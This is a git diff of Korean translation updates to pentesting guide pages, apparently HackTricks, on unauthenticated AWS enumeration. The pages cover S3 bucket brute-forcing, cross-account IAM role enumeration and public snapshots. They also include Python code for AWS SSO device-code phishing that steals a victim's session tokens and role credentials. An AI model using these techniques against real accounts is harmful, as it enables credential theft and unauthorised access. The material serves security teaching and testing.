b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## 다이나모 DB +## Dynamo DB 자세한 정보는 다음을 확인하세요: diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 832241d57..f0f30dbac 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -37,9 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -만약 누구나 복원할 수 있는 스냅샷을 찾으면, 스냅샷을 다운로드하고 약탈하는 방법에 대한 지침을 보려면 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)를 확인하세요. +누구나 복원할 수 있는 스냅샷을 찾으면, 스냅샷을 다운로드하고 약탈하는 방법에 대한 지침은 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)를 확인하세요. -#### Public URL template +#### 공개 URL 템플릿 ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -47,7 +47,7 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### 퍼블릭 IP가 있는 EC2 인스턴스 나열하기 +### 공개 IP가 있는 EC2 인스턴스 나열 ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 87108e07e..9bed9fb34 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -10,7 +10,7 @@ ../aws-services/aws-ecs-enum.md {{#endref}} -### ECS 서비스에 대한 공개 액세스 보안 그룹 또는 로드 밸런서 +### ECS 서비스에 대한 공개 접근 가능한 보안 그룹 또는 로드 밸런서 **인터넷(0.0.0.0/0 또는 ::/0)에서의 수신 트래픽을 허용하는** 잘못 구성된 보안 그룹은 AWS 리소스를 공격에 노출시킬 수 있습니다. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 9d77c9b85..5c21d63b8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -2,16 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -## 계정에서 역할 및 사용자 이름 열거 +## 계정의 역할 및 사용자 이름 열거 ### ~~역할 가정 무차별 대입~~ > [!CAUTION] -> **이 기술은 더 이상 작동하지 않습니다**. 역할이 존재하든 존재하지 않든 항상 다음과 같은 오류가 발생합니다: +> **이 기술은 더 이상 작동하지 않습니다**. 역할이 존재하든 존재하지 않든 항상 다음 오류가 발생합니다: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> 다음을 실행하여 **테스트할 수 있습니다**: +> **다음 명령어를 실행하여 테스트할 수 있습니다**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` @@ -19,20 +19,20 @@ ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -이 메시지는 역할의 존재를 확인하지만, 해당 역할의 가정 정책이 당신의 가정을 허용하지 않음을 나타냅니다. 반대로, **존재하지 않는 역할을 가정하려고 하면 다른 오류가 발생합니다**: +이 메시지는 역할의 존재를 확인하지만, 해당 역할의 가정 정책이 당신의 가정을 허용하지 않음을 나타냅니다. 반면, **존재하지 않는 역할을 가정하려고 하면 다른 오류가 발생합니다**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -흥미롭게도, **존재하는 역할과 존재하지 않는 역할을 구별하는** 이 방법은 서로 다른 AWS 계정 간에도 적용 가능합니다. 유효한 AWS 계정 ID와 타겟 단어 목록을 사용하면, 본질적인 제한 없이 계정에 존재하는 역할을 열거할 수 있습니다. +흥미롭게도, **존재하는 역할과 존재하지 않는 역할을 구별하는** 이 방법은 서로 다른 AWS 계정 간에도 적용 가능합니다. 유효한 AWS 계정 ID와 타겟 단어 목록이 있으면, 본인의 계정에 존재하는 역할을 열거할 수 있으며, 본질적인 제한에 직면하지 않습니다. -이 문제를 악용하여 잠재적인 주체를 열거하는 [스크립트를 사용할 수 있습니다](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum). +이 문제를 악용하여 잠재적인 주체를 열거하는 [스크립트](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)를 사용할 수 있습니다. ### 신뢰 정책: 크로스 계정 역할 및 사용자에 대한 무차별 대입 -**IAM 역할의 신뢰 정책을 구성하거나 업데이트하는 것은 해당 역할을 가정할 수 있는 AWS 리소스 또는 서비스를 정의하는 것을 포함합니다** 그리고 임시 자격 증명을 얻습니다. 정책에 지정된 리소스가 **존재하면**, 신뢰 정책은 **성공적으로** 저장됩니다. 그러나 리소스가 **존재하지 않으면**, **오류가 발생**하여 잘못된 주체가 제공되었음을 나타냅니다. +**IAM 역할의 신뢰 정책을 구성하거나 업데이트하는 것은 어떤 AWS 리소스나 서비스가 해당 역할을 맡고 임시 자격 증명을 얻을 수 있는지를 정의하는 것을 포함합니다.** 정책에 지정된 리소스가 **존재하면**, 신뢰 정책은 **성공적으로** 저장됩니다. 그러나 리소스가 **존재하지 않으면**, **오류가 발생**하여 잘못된 주체가 제공되었음을 나타냅니다. > [!WARNING] -> 해당 리소스에서 크로스 계정 역할 또는 사용자를 지정할 수 있습니다: +> 해당 리소스에서 크로스 계정 역할이나 사용자를 지정할 수 있다는 점에 유의하십시오: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` @@ -54,7 +54,7 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth ``` #### GUI -존재하지 않는 **역할**을 사용하면 이 **오류**를 찾을 수 있습니다. 역할이 **존재**하면 정책이 오류 없이 **저장**됩니다. (이 오류는 업데이트에 대한 것이지만 생성할 때도 작동합니다) +존재하지 않는 **역할**을 사용하면 이 **오류**가 발생합니다. 역할이 **존재**하면 정책이 오류 없이 **저장**됩니다. (이 오류는 업데이트에 대한 것이지만 생성할 때도 작동합니다) ![](<../../../images/image (153).png>) @@ -91,15 +91,15 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +이 프로세스는 [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)로 자동화할 수 있습니다. - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +[Pacu](https://github.com/RhinoSecurityLabs/pacu)를 사용하여: - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- 예제에서 사용된 `admin` 역할은 **pacu가 열거를 위해 필요한 정책을 생성하기 위해 가장할 수 있는 귀하의 계정의 역할**입니다. ### Privesc @@ -118,12 +118,12 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): ] } ``` -The attacker could just assume it. +공격자는 그것을 가정할 수 있습니다. ## 제3자 OIDC 연합 -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +**AWS** 내의 **역할**에 접근하는 **Github Actions 워크플로우**를 읽을 수 있다고 상상해 보십시오.\ +이 신뢰는 다음과 같은 **신뢰 정책**을 가진 역할에 대한 접근을 제공할 수 있습니다: ```json { "Version": "2012-10-17", @@ -144,7 +144,7 @@ This trust might give access to a role with the following **trust policy**: } ``` 이 신뢰 정책은 올바를 수 있지만, **더 많은 조건의 부족**으로 인해 신뢰하지 않아야 합니다.\ -이것은 이전 역할이 **Github Actions의 누구나** 가정할 수 있기 때문입니다! 조건에 조직 이름, 저장소 이름, 환경, 브랜치와 같은 다른 사항도 명시해야 합니다... +이것은 이전 역할이 **Github Actions의 누구든지** 가정할 수 있기 때문입니다! 조건에 조직 이름, 저장소 이름, 환경, 브랜치와 같은 다른 사항도 명시해야 합니다... 또 다른 잠재적인 잘못된 구성은 다음과 같은 **조건을 추가하는** 것입니다: ```json @@ -152,9 +152,9 @@ This trust might give access to a role with the following **trust policy**: "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -**콜론** (:) 앞에 **와일드카드** (*)가 있다는 점에 유의하세요. **org_name1**과 같은 조직을 만들고 **역할을 가정**할 수 있습니다. +**콜론** (:) 앞에 **와일드카드** (\*)가 있다는 점에 유의하세요. **org_name1**과 같은 조직을 만들고 **역할을 가정**할 수 있습니다. -## 참고문헌 +## 참조 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index ac3234abe..1bfdc6cc2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -11,11 +11,11 @@ - 피해자는 **Identity Center**를 사용해야 합니다. - 공격자는 피해자가 사용하는 **서브도메인**을 알아야 합니다 `.awsapps.com/start` -이전 정보만으로도, **공격자는 사용자에게 링크를 전송할 수 있으며**, 사용자가 **수락하면** **공격자는 AWS 사용자** 계정에 접근할 수 있게 됩니다. +이전 정보만으로도, **공격자는 사용자에게 링크를 전송할 수 있으며**, 사용자가 **수락하면** **공격자는 AWS 사용자** 계정에 대한 접근 권한을 얻게 됩니다. ### Attack -1. **서브도메인 찾기** +1. **Finding the subdomain** 공격자의 첫 번째 단계는 피해자 회사가 Identity Center에서 사용하는 서브도메인을 찾는 것입니다. 이는 **OSINT** 또는 **추측 + BF**를 통해 수행할 수 있으며, 대부분의 회사는 여기에서 자신의 이름이나 이름의 변형을 사용할 것입니다. @@ -52,18 +52,18 @@ url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` -전문적인 소셜 엔지니어링 기술을 사용하여 생성된 링크를 피해자에게 보내세요! +피해자에게 생성된 링크를 당신의 멋진 사회 공학 기술을 사용하여 보내세요! 3. **피해자가 수락할 때까지 기다리세요** -피해자가 **이미 AWS에 로그인한 경우** 권한 부여를 수락하기만 하면 되고, 로그인하지 않은 경우 **로그인한 후 권한 부여를 수락해야 합니다**.\ -현재 프롬프트는 다음과 같이 보입니다: +피해자가 **이미 AWS에 로그인한 경우** 권한 부여를 수락하기만 하면 됩니다. 로그인하지 않은 경우 **로그인한 후 권한 부여를 수락해야 합니다**.\ +현재 프롬프트는 다음과 같습니다:
4. **SSO 액세스 토큰 가져오기** -피해자가 프롬프트를 수락하면, 이 코드를 실행하여 **사용자를 가장하여 SSO 토큰을 생성하세요**: +피해자가 프롬프트를 수락한 경우, 이 코드를 실행하여 **사용자를 가장하여 SSO 토큰을 생성하세요**: ```python token_response = sso_oidc.create_token( clientId=client_id, @@ -73,7 +73,7 @@ deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` -SSO 액세스 토큰은 **8시간 동안 유효합니다**. +SSO 액세스 토큰은 **8시간 동안 유효**합니다. 5. **사용자 가장하기** ```python @@ -104,16 +104,16 @@ sts_creds.get('roleCredentials') ``` ### 피싱할 수 없는 MFA 피싱 -이전 공격이 **"피싱할 수 없는 MFA" (webAuth)가 사용되고 있어도 작동한다는 사실은 재미있습니다**. 이는 이전 **워크플로우가 사용된 OAuth 도메인을 벗어나지 않기 때문입니다**. 사용자가 로그인 도메인을 대체해야 하는 다른 피싱 공격과는 달리, 장치 코드 워크플로우는 **코드가 장치에 의해 알려져** 있으며 사용자는 다른 기기에서도 로그인할 수 있습니다. 프롬프트를 수락하면, 장치는 **초기 코드를 알고 있기만 하면** 사용자의 **자격 증명을 검색할 수 있습니다**. +이전 공격이 **"피싱할 수 없는 MFA" (webAuth)가 사용되고 있어도 작동한다는 사실은 재미있습니다**. 이는 이전 **워크플로우가 사용된 OAuth 도메인을 벗어나지 않기 때문입니다**. 사용자가 로그인 도메인을 대체해야 하는 다른 피싱 공격과는 달리, 장치 코드 워크플로우는 **장치가 알고 있는 코드**를 통해 사용자가 다른 기기에서도 로그인할 수 있도록 준비되어 있습니다. 프롬프트를 수락하면, 장치는 **초기 코드를 알고 있기만 하면**, 사용자의 **자격 증명을 검색할 수 있습니다**. 자세한 정보는 [**이 게시물을 확인하세요**](https://mjg59.dreamwidth.org/62175.html). -### 자동 도구 +### 자동화 도구 - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## 참고 문헌 +## 참고자료 - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index fb366a884..e5d263eee 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT 인증되지 않은 열거 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 496f36636..be49443c1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,19 +1,19 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Lambda 인증되지 않은 접근 {{#include ../../../banners/hacktricks-training.md}} ## 공개 함수 URL -**Lambda**를 누구나 접근할 수 있는 **공개 함수 URL**과 연결할 수 있습니다. 여기에는 웹 취약점이 포함될 수 있습니다. +누구나 접근할 수 있는 **공개 함수 URL**과 **Lambda**를 연관시킬 수 있습니다. 여기에는 웹 취약점이 포함될 수 있습니다. ### 공개 URL 템플릿 ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` -### Get Account ID from public Lambda URL +### 공개 Lambda URL에서 계정 ID 가져오기 -S3 버킷, 데이터 교환 및 API 게이트웨이와 마찬가지로, 공개 Lambda URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정의 계정 ID를 찾는 것이 가능합니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 한 번에 한 문자씩 계정 ID를 찾음으로써 이루어집니다.\ -이 기술은 태그 키를 알고 있다면 **태그의 값**을 얻을 수 있게 해줍니다(기본적으로 흥미로운 것들이 있습니다). +S3 버킷, 데이터 교환 및 API 게이트웨이와 마찬가지로, 공개 lambda URL에서 **`aws:ResourceAccount`** **정책 조건 키**를 악용하여 계정의 계정 ID를 찾는 것이 가능합니다. 이는 정책의 **`aws:ResourceAccount`** 섹션에서 와일드카드를 악용하여 한 번에 한 문자씩 계정 ID를 찾음으로써 이루어집니다.\ +이 기술은 태그 키를 알고 있다면 **태그의 값**을 가져오는 것도 허용합니다(기본적으로 흥미로운 것들이 있습니다). 자세한 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 악용을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 확인할 수 있습니다. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 27c03affc..b33deac2e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,14 +1,14 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK 인증되지 않은 열거 {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### 공개 포트 -Kafka 브로커를 **공개적으로 노출하는 것이 가능합니다**, 하지만 **자격 증명**, IAM 권한 또는 유효한 인증서가 필요합니다 (구성된 인증 방법에 따라 다름). +**Kafka 브로커를 공개적으로 노출하는 것이 가능**하지만, **자격 증명**, IAM 권한 또는 유효한 인증서가 필요합니다(구성된 인증 방법에 따라 다름). -인증을 **비활성화하는 것도 가능합니다**, 하지만 그 경우 **포트를 인터넷에 직접 노출하는 것은 불가능합니다**. +인증을 **비활성화하는 것도 가능**하지만, 그 경우 **포트를 인터넷에 직접 노출하는 것은 불가능**합니다. -### Public URL template +### 공개 URL 템플릿 ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 17bc42ed6..6ea0a4d79 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -12,7 +12,7 @@ ## 공개 포트 -**인터넷에서 데이터베이스에 대한 공개 액세스**를 제공하는 것이 가능합니다. 공격자는 여전히 **사용자 이름과 비밀번호,** IAM 액세스 또는 **익스플로잇**을 알아야 데이터베이스에 접근할 수 있습니다. +**인터넷에서 데이터베이스에 대한 공개 액세스**를 제공하는 것이 가능합니다. 공격자는 여전히 **사용자 이름과 비밀번호,** IAM 액세스 또는 **익스플로잇**을 알아야 데이터베이스에 들어갈 수 있습니다. ## 공개 RDS 스냅샷 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 3de0117e8..0d110e5bf 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,9 +4,9 @@ ## S3 공개 버킷 -버킷은 **“공개”**로 간주되며, **모든 사용자가** 버킷의 내용을 나열할 수 있고, **“비공개”**로 간주되면 버킷의 내용은 **특정 사용자만 나열하거나 쓸 수 있습니다.** +버킷은 **“공개”**로 간주되며, **모든 사용자가** 버킷의 내용을 나열할 수 있는 경우이고, **“비공개”**는 버킷의 내용이 **특정 사용자만 나열하거나 쓸 수 있는 경우**입니다. -회사는 **버킷 권한이 잘못 구성되어** 모든 것 또는 AWS의 모든 계정에 인증된 모든 사용자에게 접근을 허용할 수 있습니다(즉, 누구에게나). 이러한 잘못된 구성에서도 일부 작업은 수행할 수 없을 수 있으며, 버킷은 자체 접근 제어 목록(ACL)을 가질 수 있습니다. +기업은 **버킷 권한이 잘못 구성**되어 모든 것 또는 AWS의 모든 계정에 인증된 모든 사용자에게 접근을 허용할 수 있습니다(즉, 누구에게나). 이러한 잘못된 구성에서도 일부 작업은 수행할 수 없을 수 있으며, 버킷은 자체 접근 제어 목록(ACL)을 가질 수 있습니다. **AWS-S3 잘못 구성에 대해 알아보세요:** [**http://flaws.cloud**](http://flaws.cloud/) **및** [**http://flaws2.cloud/**](http://flaws2.cloud) @@ -17,7 +17,7 @@ #### 열거 및 OSINT: - **wappalyzer** 브라우저 플러그인 사용 -- burp를 사용하여 (**웹 스파이더링**) 또는 페이지를 수동으로 탐색하여 모든 **리소스** **로드**된 내용이 기록에 저장됩니다. +- burp 사용(**웹 스파이더링**) 또는 페이지를 수동으로 탐색하여 모든 **리소스** **로드**된 내용이 기록에 저장됩니다. - 다음 도메인에서 **리소스 확인**: ``` @@ -25,10 +25,10 @@ http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ ``` -- **CNAMES** 확인: `resources.domain.com`은 CNAME `bucket.s3.amazonaws.com`을 가질 수 있습니다. +- **CNAMES** 확인: `resources.domain.com`은 `bucket.s3.amazonaws.com`의 CNAME을 가질 수 있습니다. - 이미 **발견된 공개 버킷**이 있는 웹사이트 [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) 확인. - **버킷 이름**과 **버킷 도메인 이름**은 **같아야 합니다.** -- **flaws.cloud**는 **IP** 52.92.181.107에 있으며, 해당 주소로 가면 [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)로 리디렉션됩니다. 또한, `dig -x 52.92.181.107`는 `s3-website-us-west-2.amazonaws.com`을 반환합니다. +- **flaws.cloud**는 **IP** 52.92.181.107에 있으며, 해당 사이트에 가면 [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)로 리디렉션됩니다. 또한, `dig -x 52.92.181.107`는 `s3-website-us-west-2.amazonaws.com`을 반환합니다. - 버킷인지 확인하려면 [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)를 **방문**할 수도 있습니다. #### 무차별 대입 @@ -45,7 +45,7 @@ http://[bucket_name].s3.amazonaws.com/ - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# 생성된 단어 목록으로 변형 생성
+
# 생성할 단어 목록을 위한 조합 생성
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
@@ -56,9 +56,9 @@ cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# 공격할 도메인 및 서브도메인 목록을 기반으로 변형 생성
+# 공격할 도메인 및 서브도메인 목록을 기반으로 조합 생성
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## 이전 도구는 서브도메인 변형 생성에 특화되어 있으므로 해당 목록을 필터링합니다.
+## 이전 도구는 서브도메인 조합 생성에 특화되어 있으므로 해당 목록을 필터링합니다.
 ### "."로 끝나는 줄 제거
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
 ### TLD 없는 목록 생성
@@ -85,7 +85,7 @@ AWS에서 지원하는 모든 지역은 [**https://docs.aws.amazon.com/general/l
 
 #### DNS로
 
-**`dig`** 및 **`nslookup`**을 사용하여 **발견된 IP의 DNS 요청**을 수행하여 버킷의 지역을 확인할 수 있습니다:
+**`dig`** 및 **`nslookup`**을 사용하여 **발견된 IP의 DNS 요청**으로 버킷의 지역을 확인할 수 있습니다:
 ```bash
 dig flaws.cloud
 ;; ANSWER SECTION:
@@ -95,29 +95,29 @@ nslookup 52.218.192.11
 Non-authoritative answer:
 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
 ```
-Check that the resolved domain have the word "website".\
-You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
+해결된 도메인에 "website"라는 단어가 있는지 확인하세요.\
+정적 웹사이트에 접근하려면: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+또는 버킷에 접근하려면: `flaws.cloud.s3-us-west-2.amazonaws.com`을 방문하세요.
 
 #### 시도해보기
 
-If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
+버킷에 접근하려고 시도할 때, **도메인 이름에 다른 지역을 지정하면** (예: 버킷이 `bucket.s3.amazonaws.com`에 있지만 `bucket.s3-website-us-west-2.amazonaws.com`에 접근하려고 하면, **올바른 위치로 안내됩니다**:
 
 ![](<../../../images/image (106).png>)
 
 ### 버킷 열거하기
 
-To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored.
+버킷의 개방성을 테스트하기 위해 사용자는 웹 브라우저에 URL을 입력하기만 하면 됩니다. 개인 버킷은 "Access Denied"로 응답합니다. 공개 버킷은 저장된 첫 1,000개의 객체를 나열합니다.
 
-모두에게 열려있음:
+모두에게 열려 있음:
 
 ![](<../../../images/image (201).png>)
 
-비공개:
+개인:
 
 ![](<../../../images/image (83).png>)
 
-You can also check this with the cli:
+이것은 cli로도 확인할 수 있습니다:
 ```bash
 #Use --no-sign-request for check Everyones permissions
 #Use --profile  to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
@@ -125,15 +125,15 @@ You can also check this with the cli:
 #Opcionally you can select the region if you now it
 aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2]
 ```
-버킷에 도메인 이름이 없으면, 이를 열거하려고 할 때 **버킷 이름만 입력**하고 전체 AWSs3 도메인은 입력하지 마십시오. 예: `s3://`
+버킷에 도메인 이름이 없는 경우, 열거하려고 할 때 **버킷 이름만 입력**하고 전체 AWSs3 도메인은 입력하지 마십시오. 예: `s3://`
 
 ### 공개 URL 템플릿
 ```
 https://{user_provided}.s3.amazonaws.com
 ```
-### Get Account ID from public Bucket
+### 공개 버킷에서 계정 ID 가져오기
 
-AWS 계정을 확인하는 것은 새로운 **`S3:ResourceAccount`** **정책 조건 키**를 활용하여 가능합니다. 이 조건은 **계정이 있는 S3 버킷**을 기반으로 액세스를 제한합니다 (다른 계정 기반 정책은 요청하는 주체가 있는 계정을 기준으로 제한합니다).\
+새로운 **`S3:ResourceAccount`** **정책 조건 키**를 활용하여 AWS 계정을 확인할 수 있습니다. 이 조건은 **계정이 있는 S3 버킷**을 기준으로 접근을 **제한**합니다 (다른 계정 기반 정책은 요청하는 주체가 있는 계정을 기준으로 제한합니다).\
 정책에 **와일드카드**가 포함될 수 있기 때문에 **한 번에 하나의 숫자**로 계정 번호를 찾는 것이 가능합니다.
 
 이 도구는 이 과정을 자동화합니다:
@@ -146,7 +146,7 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
 # With an object
 s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
 ```
